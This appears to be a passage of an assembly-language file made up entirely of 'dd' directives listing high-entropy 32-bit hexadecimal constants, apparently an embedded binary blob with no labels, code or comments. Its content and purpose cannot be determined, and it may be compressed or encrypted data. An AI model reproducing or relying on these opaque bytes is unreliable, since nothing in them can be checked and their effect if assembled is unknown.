		dd 9A17C9F7h, 9168B3DCh, 0F89A2CD5h, 0A031C024h, 1C01C32Ah
		dd 0F763E842h, 0E722E090h, 0E57E22FBh, 9600B4A6h, 6ED72D0Bh
		dd 60C88D1Bh, 861819ADh, 0CF009B64h, 7CB84084h,	927C1DDh
		dd 9A68B9A5h, 0A9F6BC06h, 6C6BD124h, 0BDA1F8h, 50540605h
		dd 58B60960h, 2B4EA3ECh, 25AD980Eh, 1C08D7DCh, 0BA980EAh
		dd 0CAE2EDC3h, 0BBAD0F1Dh, 0A8C64100h, 17D2B9Bh, 0D15BAA1Ah
		dd 88516C3Eh, 0B8FAD381h, 623D6800h, 183FEC0Ah,	0A61474B1h
		dd 66C4004Ch, 1BDFB0E0h, 86170EC0h, 0CA293B92h,	0CCC5F811h
		dd 61009E63h, 0A78EF49Ah, 0E46E85E1h, 0E8A65Eh,	0D8045CEh
		dd 0C17265C5h, 2149D101h, 8CE396D0h, 0E97AC052h, 0C3D6748h
		dd 0F0E8B00h, 5D6FEEBFh, 0F6F85550h, 0D951A4A4h, 896FF164h
		dd 30F81C70h, 44114BCh,	9DDA4E2h, 0B9A49253h, 0D6E18529h
		dd 8068A827h, 0F366B826h, 0F9007124h, 3075614Eh, 90B36A80h
		dd 886E6306h, 40BC69D1h, 91B5855Ah, 0DBDA0EE2h,	844A921h
		dd 181CE4CAh, 0FF004172h, 0D9389557h, 7CC1E7h, 0C5618999h
		dd 2AD19E4Ch, 63F07951h, 14221A4h, 0BCA4DDD3h, 78E6D2CFh
		dd 5CEBF844h, 0CCC55046h, 2C30893Ch, 28009E80h,	0C2310E2h
		dd 677B18A4h, 0D3886909h, 8180FC01h, 89545A2Ah,	49C0E462h
		dd 0DA56C8B8h, 0A9457B00h
		dd 2EE0391Bh, 28E90F2Fh, 1C24C5EFh, 469888CAh, 77003878h
		dd 0FA6EB6D9h, 7CC4A93Bh, 8030B079h, 0B9FF9790h, 60E28CC4h
		dd 423BE3A9h, 32E10021h, 0C4F78013h, 26CB017Ah,	62B8FAEAh
		dd 25A6208Eh, 60A97C14h, 946F29E8h, 0E042BA97h,	22EEA681h
		dd 0B6E0CEE2h, 37719D28h, 43DF5E0Fh, 227434B3h,	62541FC3h
		dd 9381C712h, 8DC8209Dh, 0AD0521B0h, 45EABDC1h,	1E7AB420h
		dd 833B31C9h, 815FE370h, 52570E19h, 0EC704865h,	0C99A0033h
		dd 4B97E02Bh, 473C9CEFh, 8020CC1Bh, 4899904Dh, 0A47639B2h
		dd 14C0A080h, 6A747BBDh, 14FF6E40h, 0EC9DD2A9h,	5B11C821h
		dd 1478E100h, 990C47EDh, 18796B00h, 95D26422h, 0FC260087h
		dd 727DAF7Ah, 84B3CA1Eh, 14043188h, 7D13FC9Ah, 0FFF8DCC1h
		dd 3AC7F000h, 0A151D1F9h, 55D60C5Bh, 0CA385632h, 8681B494h
		dd 24E8C89Ah, 0B4AD1230h, 0F2EB4390h, 7E0515B0h, 19F8801h
		dd 6949C992h, 2FDD1C0h,	5B55B507h, 0EC6427B9h, 9C1DFCB0h
		dd 45C93DDDh, 0E4E8441Ah, 0AB090771h, 12211105h, 146A9EE2h
		dd 0B5430482h, 2888E324h, 0EB41008Ch, 0D4636A9Fh, 0DF3BF56Bh
		dd 0D75D80AFh, 55E52E0Ch, 0C85B00ACh, 45CF9AD0h, 3B5BEABBh
		dd 0BC70D453h, 65A2EFD3h, 8C221150h, 2F003E6Ch,	2434E8Ch
		dd 0CF0825h, 3AE97794h,	15C12076h, 990597F4h, 1940CC8Fh
		dd 7B94CAh, 1F7C3098h, 593EEA71h, 412940A0h, 0E9D5080Ch
		dd 18CC4821h, 215643EBh, 0C34A5051h, 81481427h,	0AD82407Ah
		dd 1FFC62D0h, 0AB85241Ch, 0EB0341D2h, 22BEE5E0h, 0C490B5D0h
		dd 2428B745h, 36E01C80h, 6E00760Ah, 0A5F86DD3h,	3CDA357h
		dd 0F3F1652Ch, 794F1CC9h, 3A9FC400h, 207597h, 458BD847h
		dd 66D15CAFh, 0A060B05Ch, 0C5E014h, 9FE5313Bh, 0B0AA523Eh
		dd 10649EAh, 0FEC8AD78h, 30CAE089h, 21695168h, 8B98AF7Bh
		dd 5DD79C12h, 25BA4082h, 0C9DC1279h, 133080E8h,	1E96FDEBh
		dd 8C380565h, 41C4CC6Ch, 0E09BF1B0h, 0E42321h, 713967C1h
		dd 1293D4Fh, 0CF8FEF05h, 0F8E597E6h, 0FC009316h, 7AFB5A77h
		dd 0B827B6B0h, 0E2B34478h, 0B46D44h, 14FA3CA2h,	332FC949h
		dd 24ADDA00h, 0F878804Bh, 474400B3h, 2214F272h,	87485474h
		dd 98F48BC4h, 50E0C4h, 23122F7Ah, 37301A78h, 5C0B9300h
		dd 0C367D011h, 0F2DCED87h, 72991212h, 95F080F1h, 38B82263h
		dd 81F2FB45h, 0A71EA484h, 7E002433h, 0E6BD057Dh, 3E30EB16h
		dd 86511961h, 846DE9B8h, 674B9380h, 1600979Ch, 0BF6CD418h
		dd 1D1CF050h, 0DA684Eh,	493FEB78h, 5C001B76h, 0F59301E8h
		dd 9EAAC3Bh, 1AF8174Eh,	59204894h, 44EC3B02h, 0C0C87048h
		dd 0F2005BACh, 0C62FCA7Ah, 74E94C75h, 0D7278C06h, 4752D8EFh
		dd 0A3F212E0h, 2FDB8C20h, 0D77F0132h, 5BD11828h, 0CA3092EBh
		dd 0F453FC90h, 5F7063h,	0D6CE6F57h, 8C6BBA7Ch, 9B61403h
		dd 0EF7A2247h, 3CD11A00h, 0AD39C2C1h, 744095C9h, 150974B8h
		dd 41C5CAEh, 0BF4750D0h, 984990D8h, 7F246F1Eh, 0BB11144Ah
		dd 4C7D600h, 0D01B499Bh, 0C1D82258h, 0A587F61Dh, 1DC169FCh
		dd 6E1B1770h, 6C22A8h, 0C0E535D9h, 7E5139F4h, 50C994A6h
		dd 78E0E4CCh, 7ABD00FEh, 608D3C13h, 0A400AC43h,	44C7A0F0h
		dd 0B4D5ADE7h, 0CF224078h, 0A4B48451h, 0A98EF267h, 0E1AC0EAEh
		dd 0E64F5102h, 0EA422186h, 6213A11Ah, 40A21F7h,	10032086h
		dd 0F046A72h, 367AE1B9h, 9080A867h, 48EAC2EFh, 0C8B8534Ch
		dd 0C6004B6Ah, 0EF7C4624h, 28D0BD5Ch, 3B21F47Ah, 40D00848h
		dd 0A20154ACh, 5F3F841Eh, 4CC42930h, 21605519h,	0ABFE2A37h
		dd 0D40098FCh, 687A4166h, 0AEC853h, 74BF7178h, 0B84A45F0h
		dd 8AD90D17h, 44D08848h, 810553C6h, 6A807D42h, 0B5EE3BBh
		dd 6491D783h, 5B756181h, 0BDC85854h, 0E742CB09h, 648482ACh
		dd 13692AC2h, 21B420FDh, 7709DB47h, 445CAB4Ah, 7E8C009Ch
		dd 7DEDF518h, 8958D737h, 0FDC3C01Ch, 14F2A615h,	0D4EA9A96h
		dd 0A348AA00h, 0D3D2F81Eh, 57988512h, 1C9BAC0Ah, 0F8411180h
		dd 0A4C1539h, 0A2F15A10h, 3FAD4094h, 5C00036Ah,	0EFA4C71Ah
		dd 4F5879h, 0F9421370h,	0F28AD62Dh, 0D10EAA98h,	0FC6B3B63h
		dd 68E3930Bh, 0A56FF0h,	9C2F980Ah, 230F5A26h, 0F7D0A601h
		dd 18ECE854h, 77006423h, 214A5B08h, 7D50D3B0h, 44BE2358h
		dd 92FE3440h, 1395001Eh, 0DCBB25A9h, 0C305455Dh, 0CAADD9F3h
		dd 89B8A421h, 1B9C040h,	508616C6h, 5840479h, 5D1341C3h
		dd 0B4328454h, 88702116h, 0B0026D0h, 6C1C6118h,	4AF38D1h
		dd 2B5132E2h, 880088CAh, 78E1D00h, 0A9B9567Dh, 86BE0FDCh
		dd 86478B6h, 4F1C81A8h,	0A88714C3h, 8480BB48h, 7DCA5B9Bh
		dd 54189D94h, 86B0AE0Ah, 53E894C2h, 1921C8D8h, 1662B502h
		dd 790AEF99h, 8BF70058h, 0E53753E0h, 17E72E00h,	1BD3DA01h
		dd 929023Bh, 0F77EEC05h, 84033441h, 0C043D191h,	94845A49h
		dd 3BF840C1h, 98AE8068h, 20F44C64h, 0B52BE2C0h,	4D0BDAB0h
		dd 178B7B3h, 20183746h,	5B804438h, 6C1D68A0h, 0B80016FAh
		dd 0C0D58A94h, 355CF24h, 61D76785h, 907ABCD2h, 980AF1D2h
		dd 0C0619049h, 7EA077h,	3E9B6C88h, 546949ECh, 7220E421h
		dd 401008Bh, 6C78DAE5h,	0DB16B277h, 3D0A157Ah, 3420185Fh
		dd 482D8500h, 0B1F03CF7h, 0A3720154h, 0DA071305h, 22F46D8Ah
		dd 0A2F2115Ah, 3CE900D1h, 758C0A5Fh, 968F01D9h,	0C1975E2Ah
		dd 0AC81E4FBh, 8E3E5B2Fh, 3DD16454h, 3083D4A2h,	87E2E517h
		dd 803A4C59h, 0A5ACCBDBh, 0A74D4D2h, 836D450Eh,	18D36094h
		dd 0E803421Ch, 5B788521h, 0ACC9C11Ah, 562D6180h, 0EB8C92A9h
		dd 0EC330200h, 0ACD72125h, 807C9914h, 0EF03B7F2h, 0CC07839Ah
		dd 7F57F870h, 5D9100FEh, 4E8C530h, 121DBDCh, 41B0C277h
		dd 0A64C4046h, 0AD4D8080h, 209975h, 319A2A07h, 0D6136A0Fh
		dd 3F15492Eh, 0A3225B04h, 580CA0F4h, 0AE00FCE4h, 80DC6E3Dh
		dd 9204E9D5h, 0A68F4921h, 1ED3C0B4h, 0BE9519h, 241C1F5Bh
		dd 912E83FDh, 0A20C8CF7h, 3329EFh, 6ABE8E61h, 0B932502Eh
		dd 30973476h, 808F9820h, 0FC897C51h, 0F403F478h, 0F3EFDC6Fh
		dd 886081A5h, 0C8A214CDh, 43892702h, 2D61562Bh,	53FB4091h
		dd 980B9D8Dh, 57CC9B8h,	0EC379B83h, 258EDE90h, 0F0A0955Ch
		dd 763A73B7h, 91211402h, 5E6ACCA0h, 0DEAD89E8h,	0F856C84Ah
		dd 0BFC00940h, 0CB5903DBh, 18B35B6Ch, 0D59F80E0h, 3ECC7F12h
		dd 94E310B4h, 5BA780FCh, 36F768F6h, 93B83B28h, 0D538FB00h
		dd 6B46EABDh, 0C0E494FCh, 45F58FAAh, 3D8A161Dh,	37B5017Eh
		dd 0CD9DA57h, 43FCE0C6h, 0E27A894Fh, 8E648C98h,	6CA17900h
		dd 43D5B6Dh, 0C97802C0h, 0A665FDD4h, 0AA005451h, 5CCD42D5h
		dd 94C72E6Fh, 332C004Ch, 17CA9EEAh, 0AC6A200h, 99BBD5A1h
		dd 90925049h, 0A8E08AB6h, 3215B7A8h, 1E90EAA4h,	7392755h
		dd 2A972B79h, 0A51990C0h, 0B9F616ABh, 4A9C4420h, 0D15CC036h
		dd 5A88C46Ah, 7E7B168Eh, 8850524Ch, 470E5BD8h, 0C4D9703Ch
		dd 0CCC28F0Dh, 14C5980h, 3B2EF3D0h, 3C30D082h, 9E3E1E00h
		dd 65FFA5EEh, 0C514243Fh, 80B02134h, 86E6FBF2h,	7700434Eh
		dd 0B82F5FA5h, 2D54828h, 3C83476Ch, 0EC4063A3h,	0C8996A5Ah
		dd 0CE4D803Ch, 990F9526h, 601E62B1h, 0CC248FE3h, 241F1540h
		dd 315C38BDh, 3230F06h,	0A694605Bh, 178AC7C3h, 825491A0h
		dd 88C4CF6Ch, 5BFF0D04h
		dd 0B8CCFBB9h, 515D4445h, 3A93C101h, 0C9209AA2h, 0DD3EC843h
		dd 0CF0320A7h, 0AA73C09h, 0DB044790h, 680BCA2Eh, 0D0221A0Dh
		dd 68004C69h, 820CF9E9h, 71009521h, 6CCA394h, 3C44E064h
		dd 77381DF3h, 12241B07h, 6220F08Dh, 7E012BA4h, 6DFC8B23h
		dd 94455697h, 0CCDC2C30h, 7631017Fh, 9CAA4B8Bh,	0B12EE0B9h
		dd 0D02DFA00h, 0ED13EFEAh, 0F7AD0FF2h, 3D27D264h, 3C4EB3A1h
		dd 61CAF491h, 0D110F23Ch, 0F1C44566h, 219049D4h, 80042C59h
		dd 73105C09h, 515500E8h, 93C0AEBFh, 241EB60Bh, 97B2FC4h
		dd 0C66E42EBh, 76DB0BD8h, 0F490C8B9h, 2C0542FBh, 0BB3D7530h
		dd 4ED650C0h, 0D840FBB8h, 0A05E47ECh, 987A8420h, 70A0B6A4h
		dd 900D78Ch, 5FC49304h,	0C07E885h, 0CC51629Bh, 41000B41h
		dd 2CB1D9F4h, 4FD1195Ch, 99008840h, 0F9B1E04h, 5104FD5Bh
		dd 0B074AC87h, 0B642CC7Ah, 0C3D24070h, 0B800A6B0h, 0A2BD21DEh
		dd 0A1176FFAh, 6833F224h, 8421E707h, 0CC25D096h, 8E003CC6h
		dd 0AD40203Bh, 0BF9C3C1h, 0D581505Bh, 32001444h, 38CABF0h
		dd 7AC0625Ch, 34600011h, 0D2F23B9h, 5B0A96D0h, 0E0F3993Bh
		dd 0D64FBB64h, 9ADF4482h, 79F86Ah, 3F006D1Fh, 71269F8Ch
		dd 0E7EEF7h, 3360DC64h,	0E503D921h, 8737650Eh, 29C8B805h
		dd 8D34C6Fh, 0C85B9805h, 74A208h, 47435461h, 4C050EE5h
		dd 492FE883h, 89F02890h, 4830CC5Bh, 0A8EBA2EFh,	0E8A38Ch
		dd 0C1A1044Bh, 400F1453h, 0B384F700h, 22FBD556h, 20714848h
		dd 0F568E001h, 781D4321h, 5C07C024h, 0A2320Dh, 902D4D5Dh
		dd 8531D665h, 1D7EB200h, 0ECB001F1h, 0F8C0013h,	4ED3BA07h
		dd 6E73EB0Ah, 0B377019h, 2D20C4F2h, 408D487Ch, 1FBA4904h
		dd 0E2E8B4A4h, 16907300h, 83E8669h, 87E6642h, 10021BBh
		dd 4172906Bh, 38C8D512h, 0D7A40FD6h, 5E0C3C04h,	8458B638h
		dd 71CF3F31h, 0C8402316h, 4C0DFBE8h, 328040E2h,	0CA77A71Fh
		dd 0BEDD6F03h, 0A3DF47CFh, 1B210369h, 0BDCCA717h, 69E27781h
		dd 424100CCh, 0E88393D4h, 0EFC72820h, 0AAF0009Ch, 0DB05F9A4h
		dd 0AC4B0992h, 26527847h, 0F2697542h, 0FBDC00B0h, 15832101h
		dd 7B335E9Eh, 0D908FDh,	1144931h, 3E958EB5h, 0D2403C94h
		dd 0DB9BB9h, 0D3E510DFh, 0AB0F9C46h, 4080D651h,	0EBBDB01Ch
		dd 80E8B230h, 0E68A086h, 7F4E0151h, 6C1393h, 74AEF07Ch
		dd 61015625h, 0C608CB3Ah, 0C4E00D1Dh, 8A1B001Eh, 0C3724CBAh
		dd 1A0062ECh, 0F5C53846h, 0A1C416h, 6C3CED27h, 0EE364077h
		dd 0C200687Bh, 0B90230A0h, 0AF14B3h, 0A5CF569Ch, 81F1A34Ah
		dd 0EBD18D00h, 0CC5429F4h, 23E003Fh, 57B1469h, 3D031DBBh
		dd 64FA337Ch, 0E997B824h, 9911000Dh, 81EFE0BCh,	0CA001353h
		dd 0DB5085A6h, 377464h,	8FF52035h, 0B07EA4EFh, 0BB020A00h
		dd 6F6A1BBEh, 0DFBA0063h, 8524571Ah, 0B80FDA79h, 3267BDh
		dd 0F317DE96h, 219B00C9h, 1260C582h, 0BD00DD87h, 42F6486Fh
		dd 3B4D521Ch, 3707A3B9h, 41045CECh, 0F8A93265h,	223E260Bh
		dd 0A8B009Ch, 79BC6B96h, 35C91FACh, 6FBE00EAh, 0D069A410h
		dd 786B66CCh, 0B51200B7h, 0B3FF6616h, 921DC4E6h, 0C3402D37h
		dd 41A1806Fh, 1559001Ch, 0B33A2016h, 0C7F6479Ch, 0E7880E07h
		dd 0DFA0CAD3h, 9B3EC2h,	0FAF43C0Ah, 33221F12h, 69A8C930h
		dd 0A0038Fh, 8A54A535h,	0E482127Ch, 0D7276206h,	3980297h
		dd 40A0CBB9h, 0C0001EB7h, 0BF1D4732h, 7FA3F773h, 7C93369h
		dd 22B924F0h, 9F9EDCADh, 0CFF02300h, 2A0F3D5h, 81A714C4h
		dd 0C90098FAh, 0AF353113h, 0FB00C18Bh, 0F1C598ABh, 45BF7h
		dd 0F01ADA29h, 0D6A5EBCEh, 618C58h, 0E2DC7483h,	167D27E0h
		dd 87F662h, 0BB8F574Ah,	0A0051F3h, 4ECCA1B2h, 28B95Fh
		dd 7CDD11C2h, 87396074h, 0BF003DE8h, 8644CDBEh,	3006824Dh
		dd 0EE185616h, 504397Eh, 0B2DDB9FFh, 0CE09A283h, 5D230E79h
		dd 4C084D1h, 5BBC13ADh,	80AFF43Ch, 0E48C2A3Dh, 0C3A667Ch
		dd 6414A921h, 0D601B481h, 0B1FDE2D3h, 6EF3E01h,	8382D018h
		dd 3D005871h, 76437B7Ah, 0DCEA44h, 0DEA952A5h, 0F140AEAFh
		dd 9DD24D3Ch, 0C7C05B62h, 321939E6h, 0C6BC0122h, 8DBE5E2Bh
		dd 52D98651h, 18B14305h, 18842585h, 49B80C60h, 0B5970700h
		dd 4512D4C1h, 379C0048h, 6732F774h, 0B105C809h,	0E8975A33h
		dd 488727E1h, 90F738CCh, 595EB2C6h, 8518C4D8h, 7BC700DCh
		dd 4A9D11BEh, 0F000F79Ch, 943F8103h, 0AB6D4Bh, 6B26A661h
		dd 0F28CCB06h, 0D5018207h, 8AD0FB4Ah, 6093843Bh, 8FC82014h
		dd 0B00C96D9h, 7EB1F1FAh, 0CAE807C3h, 4089D414h, 53045D10h
		dd 50329630h, 0C4FCE921h, 0C0E66B20h, 0F423A33Ch, 8400CEE8h
		dd 0FC07112Eh, 0C06AFA31h, 0DD57B30h, 550032ECh, 1C7BF18h
		dd 0FAE533h, 87D05CEBh,	3C29A644h, 0BBBC1700h, 50304EFFh
		dd 714D00FEh, 81DFE231h, 88DF0D8Eh, 79968603h, 0E53BE372h
		dd 671E6401h, 588005D7h, 7DC47AF8h, 500008FFh, 3A408482h
		dd 65AEE1Fh, 1CEC21CFh,	0A21D38A1h, 1D39B52h, 3B287C00h
		dd 0FEEC9E6h, 0F915890h, 0B2CCAFE1h, 0B598DF1Bh, 2A60D3B1h
		dd 9CECEB28h, 0C3320074h, 4CE33FDCh, 613B066Dh,	6F180025h
		dd 0BC33B8E1h, 5B3C0012h, 83452F99h, 1300EBA3h,	0C3CAC17Bh
		dd 40F214Ch, 18F5ECE3h,	0F7FB80A5h, 0D300410Ah,	48395B22h
		dd 78AF6C7Fh, 4B3E0535h, 0EF453FA3h, 572EA80h, 0C6100F98h
		dd 1A20E20Ch, 379ABF27h, 41603472h, 0EAE99D18h,	0B653185Bh
		dd 5E3F8046h, 2A343Ch, 0A85A1273h, 0CCFB0F0h, 3B2E3248h
		dd 5B008360h, 0EB90E830h, 0E6FB1E6h, 509DAC8Ch,	8959AA26h
		dd 386BE001h, 5C2E5865h, 0BF9C3980h, 0E8150C29h, 78213900h
		dd 16B2ED57h, 1A6000C8h, 58B1202Ah, 681CB418h, 28A03238h
		dd 0AD2714h, 4A761B8Bh,	156B2112h, 3FF07800h, 222735A3h
		dd 9FB73DD6h, 9D8EF180h, 0B54BF25Bh, 0ED1CEF00h, 0CC4DEC3Ah
		dd 0E5D41DA4h, 210518E8h, 9FC5610h, 7E67B10Eh, 3E5B602Fh
		dd 0FE819027h, 0B8B6009Fh, 0E0619902h, 0D43022F4h, 83AF18D9h
		dd 0EE36EA20h, 109350DEh, 0B6F90C3Ch, 8761639Fh, 4F08D667h
		dd 441C5A01h, 3BBBCCh, 362A6530h, 0AEA89BB6h, 0EF0FA500h
		dd 327269A7h, 90521886h, 0B599598Eh, 0ACB7BA18h, 0EBF248h
		dd 3E523BCEh, 0A1A5EF30h, 0E9085866h, 46743F21h, 8024F81Ch
		dd 33C1BB81h, 0BF98F763h, 9EE86100h, 17CDA30Ah,	2B160075h
		dd 9318060Fh, 71008E02h, 0F009383Fh, 0EB16374h,	6F3BD804h
		dd 0BBAA2660h, 200C136h, 8E95B6E7h, 7ED7252h, 9F59DD91h
		dd 9E79E0F7h, 0BB00A955h, 3B2D11CFh, 4ADF5Fh, 0EF2B61E9h
		dd 42EE5E12h, 0ABC2D300h, 9C5C4B3Ch, 8DCF0063h,	7E661598h
		dd 8E00564Ah, 0FEB2866Ch, 1F817Dh, 0A8382416h, 0EA923BCCh
		dd 0DE5E4300h, 0BF66ECF9h, 0F3460014h, 1A7CBAF6h, 9F000228h
		dd 8E36501h, 7A6F7D85h,	3910CA4Eh, 25987804h, 0B103761h
		dd 0F5DC24FEh, 0F0863B2Eh, 0F60F00F9h, 96AF671Bh, 79031338h
		dd 5A158498h, 22281024h, 0EF4B00F4h, 0D22B5701h, 0FA75011Eh
		dd 0D9483228h, 0B362CC33h, 0C1681700h, 842E37Eh, 5673005Eh
		dd 5D53BAE7h, 0C800869Eh, 6816E2A0h, 74AF64h, 0ED7097A2h
		dd 90FC1F56h, 98255E01h, 1A84E318h, 4560C4h, 0CD06C5C9h
		dd 7A88A846h, 0CA387800h, 613495F3h, 40B0BEh, 48E19398h
		dd 0D0E07C30h, 0FF15C500h
		dd 0F2D9801Fh, 7AEE58h,	8437879Eh, 3AAC9057h, 0C9520B03h
		dd 960FC3h, 0D15F7D10h,	53CB0D8h, 0F7A3B100h, 2A90B69Ch
		dd 10410218h, 9E87D701h, 6E2FC0A0h, 1700A715h, 0A96526Bh
		dd 7A305Fh, 0B4C0874h, 3A4325AFh, 0E66A5B00h, 5076E02h
		dd 0EEA00F4h, 90AC127Ah, 1C014BB1h, 0A5365068h,	63FC1FCAh
		dd 85B900EBh, 24F2952Bh, 0B4008B7Bh, 9EDDA710h,	4BB60Fh
		dd 8C7F5453h, 70B17774h, 1DF082EEh, 1C131112h, 5EDE6000h
		dd 90F7F9D8h, 52C03B00h, 871B6300h, 89E78F16h, 55722100h
		dd 0A38674A6h, 0E2D100BAh, 32CBE817h, 0AB00F778h, 0DF95F20Ch
		dd 18B53Dh, 2A17064Ch, 0D071398h, 0CCD49150h, 0B98BEE07h
		dd 54B3FFCEh, 1770B02Fh, 81D0746h, 5F966C55h, 9D138800h
		dd 7601FCD8h, 0EAE0633Eh, 25E40B9Ch, 0A2010047h, 4D3723F3h
		dd 0E2008D9Bh, 8F35DC86h, 93B7A1h, 8099D0B2h, 0C401F07Fh
		dd 0C3EEBC00h, 0E88AFF22h, 0E9FF23Ch, 6560D01Fh, 806E5AA4h
		dd 993BFE7Ch, 0C8C9B100h, 6472AEB6h, 4C7A03D3h,	0E65C01C3h
		dd 963A21E0h, 3FEE4B3Ah, 0FF1797F6h, 33351A03h,	0DA3F8064h
		dd 35F028Eh, 8455A568h,	0D0CE5840h, 0A2307F00h,	0F6642FF9h
		dd 8B82009Dh, 12B59005h, 0C703030Fh, 0DF7AFF35h, 0BFF3931Dh
		dd 0FCA97D60h, 1EF40043h, 5A218CA3h, 752EF1D8h,	96005189h
		dd 0AD22B852h, 0D9F3001Bh, 3FA0C69Eh, 3C481CCDh, 0AFC80EE0h
		dd 274E65C5h, 0EC69BEC0h, 35E70033h, 0CB9FF646h, 91001ACDh
		dd 0EE49DB2Ch, 9A22D6h,	8E6BB57Dh, 0F7C93B6Fh, 509B4F00h
		dd 91432FDh, 4B7F5Ch, 0B86D47E7h, 3A224004h, 643B703h
		dd 37E4FAh, 0D56A910h, 5F1CA13h, 4031A306h, 99B4EAh, 2C55F3E1h
		dd 0BDBBCE9Fh, 8E9C8000h, 32EB830Fh, 7740194h, 23BA1DB4h
		dd 0D83AD148h, 21078044h, 1766919Fh, 0CCA0B030h, 0D5B204DDh
		dd 800706E5h, 0DA1AE0B4h, 0FD0E2E0Ah, 8380A09Ah, 5D7AB43Eh
		dd 3BA000F1h, 7C7DC887h, 603C0BC2h, 0E3B18077h,	1D61B355h
		dd 0B4C8A00Fh, 88160058h, 38F72794h, 6D078CCCh,	33855E6Ah
		dd 617A41CEh, 0F1702986h, 1C210099h, 1B1A436h, 0DA4C60DEh
		dd 0C72200C7h, 77CF6C59h, 94BD077Fh, 0F8208Eh, 0CB1D077Dh
		dd 491D2C7Eh, 0EBC17E3Ah, 0CDE43846h, 0D365E8h,	9745E8CCh
		dd 0EA2B88A1h, 0F33C401Fh, 791B5F81h, 5C20580Bh, 0D520004Ah
		dd 64FFA526h, 440003F4h, 27B8C376h, 798CE8Ch, 428B9D83h
		dd 228450F1h, 0E400A390h, 65D1C281h, 0EBF50Fh, 0A8CD3DA0h
		dd 0B164ED5h, 5CB280h, 0EAC28528h, 12471F96h, 0E13EA126h
		dd 0BD5ABE07h, 80EB8443h, 0FEFC8F5Bh, 36B40005h, 6354F6A2h
		dd 0A500E3E7h, 0CB5FED4Ah, 9B38786h, 41761A92h,	0F5D33820h
		dd 39003097h, 1D2AF7C6h, 9E18D4h, 0C735B5D1h, 0A1256E8Bh
		dd 428A3000h, 0B3A37751h, 6C1F00FCh, 4FC6E7FDh,	0DF00E206h
		dd 4971130Fh, 9DEE6Ah, 0B2B344Dh, 26BF870Ch, 1D043900h
		dd 0A0E54866h, 0C2A105E3h, 1087734h, 31ACA9F0h,	0B2AEF80Fh
		dd 28C067F4h, 0C81917BEh, 0D1C61485h, 0E90BCC7Eh, 0B62Ch
		dd 984B3996h, 7C2E8B00h, 0A79C26D7h, 3437169Bh,	0DA440F4h
		dd 9877D44Ch, 0C4B0BE00h, 0EBDB63Ch, 9650034Fh,	82C75FFDh
		dd 6FCC40B0h, 155E9100h, 0F865BCF2h, 0FB9A00A9h, 0DEFCCAAAh
		dd 0B20027F5h, 0AC944F5Eh, 0C0247215h, 0E7453B78h, 0FE005DFDh
		dd 349DBDB5h, 9F2A3Fh, 9649D6E0h, 4E6B9422h, 0F9004AF6h
		dd 0CD513866h, 1DA1D3C0h, 40A912E0h, 64631D4h, 7000E1A4h
		dd 322F789Fh, 7C0D214Ch, 6ED14CF8h, 0BE5AFA00h,	0E54877Fh
		dd 0E6F07900h, 8620CADAh, 11FE40Dh, 0A6E7DC17h,	0CC56F6D1h
		dd 5C001C50h, 0E32A6023h, 787BBEC4h, 0B6AC1E99h, 4A5C005h
		dd 9EEE0717h, 80AA509Dh, 9020429Ch, 0B577002Ch,	0F6A8FF4Eh
		dd 10006A53h, 90A63B27h, 0C45A44h, 0F01484BFh, 804E3006h
		dd 81EA3E00h, 2FE41D23h, 31F901Ch, 1BD16EF7h, 0DAB08C9Fh
		dd 0AFF85D65h, 0C4310326h, 0BE49A98Eh, 0B8008CEEh, 0D2F265C0h
		dd 0B63730FCh, 0F0AD3391h, 1839B45Ch, 0B08248Fh, 64FB0FD0h
		dd 77A1CEE3h, 70080A94h, 0EC1F2F27h, 780FF2D2h,	93D32386h
		dd 0E9480433h, 0B8D790h, 0D2F0ECF7h, 0D524071Ah, 4F67583Bh
		dd 0FF373020h, 0EC1ED720h, 0CC6E9781h, 0D595DC80h, 0E3FA708Bh
		dd 0E0D8FAF3h, 3CADBCh,	3FE42425h, 0FD8ABCE5h, 0F065AA00h
		dd 92C507F2h, 0E636009Dh, 0A1838084h, 86006DE8h, 5C17CE50h
		dd 63B840h, 23B24F03h, 9AC26185h, 0EA344700h, 952C9412h
		dd 0E52200CEh, 59B29E16h, 7E070C9Bh, 0DE2E731h,	6EA008B7h
		dd 731149h, 1E171C72h, 0F6EAF832h, 7FFED900h, 6A3304F4h
		dd 18270022h, 549F1ADAh, 93075832h, 665706FAh, 0F0157F40h
		dd 64A00044h, 0E2E47046h, 6004D94h, 0BA119096h,	0A1F7DF5h
		dd 6C8C2056h, 5441DB4h,	0FC53A5h, 0DCA239C4h, 0FCE3E937h
		dd 813245D7h, 0A0650817h, 37F5F0E4h, 5FD0A041h,	0F24DFCF7h
		dd 0F42B1FCEh, 80B043E2h, 18A6BB77h, 53D44900h,	0EF0F99E3h
		dd 2AC279F6h, 0C8D898h,	0AEA66D59h, 4EAF51FAh, 0EE055F00h
		dd 35F27A2Ch, 3C4B1908h, 200279B0h, 0CA30A800h,	88851154h
		dd 0D2D43A06h, 0EEB65703h, 22A358B0h, 0A0162100h, 76042E06h
		dd 65270131h, 9482A9EFh, 0B8AFE98Ch, 3C48F059h,	2B0600C4h
		dd 4794DA2Fh, 0C0A06324h, 8E8201ABh, 0E301E450h, 9BB0D959h
		dd 0F7ECA424h, 913C3AC6h, 50007525h, 0D6B0F186h, 0DB854E07h
		dd 0C7703AB6h, 28E64A42h, 0A90EBE7h, 99475E74h,	679A0330h
		dd 100EAF77h, 0B1C820h,	0F3C7FB81h, 0ABC11E6Eh,	2DDD0014h
		dd 3D9B550Eh, 0B4D3361Dh, 0D98EB940h, 8F455Bh, 94025F0Dh
		dd 16F1F335h, 0F9C39700h, 54E89A51h, 0AF9540B4h, 0DA5004A5h
		dd 10AD60D5h, 0CDB59417h, 0C68E2D00h, 8B90CE77h, 0D2984C48h
		dd 3F2AF100h, 0CA17E7E0h, 6A292364h, 12928A21h,	0AE01100Eh
		dd 88709E88h, 0C288ABBBh, 28DA40FAh, 8962A344h,	67C07A12h
		dd 695641h, 33288B67h, 71451C5h, 169A5400h, 329C4CEAh
		dd 414700F2h, 0EFB5158Ch, 5E00BEABh, 75C6100Ah,	5C2D54BFh
		dd 0FB3D97CDh, 5C0197h,	1CD6C32Ah, 8B72A5C0h, 9DCAC700h
		dd 5E2958BCh, 92F100E5h, 288105Bh, 7939EF23h, 0E607876Fh
		dd 2FD078F4h, 1DAE58Bh,	925884DCh, 7B3DB508h, 0BA251C00h
		dd 964CC30h, 5A21BD74h,	0D1866480h, 0F23F4BE7h,	696C0AECh
		dd 7200C0F8h, 61436A30h, 0A763007Dh, 0DC62C2B7h, 52F8EC6Ch
		dd 9FEDF812h, 0FB3DF400h, 0A03B809h, 31ADD4A6h,	0E2F107D8h
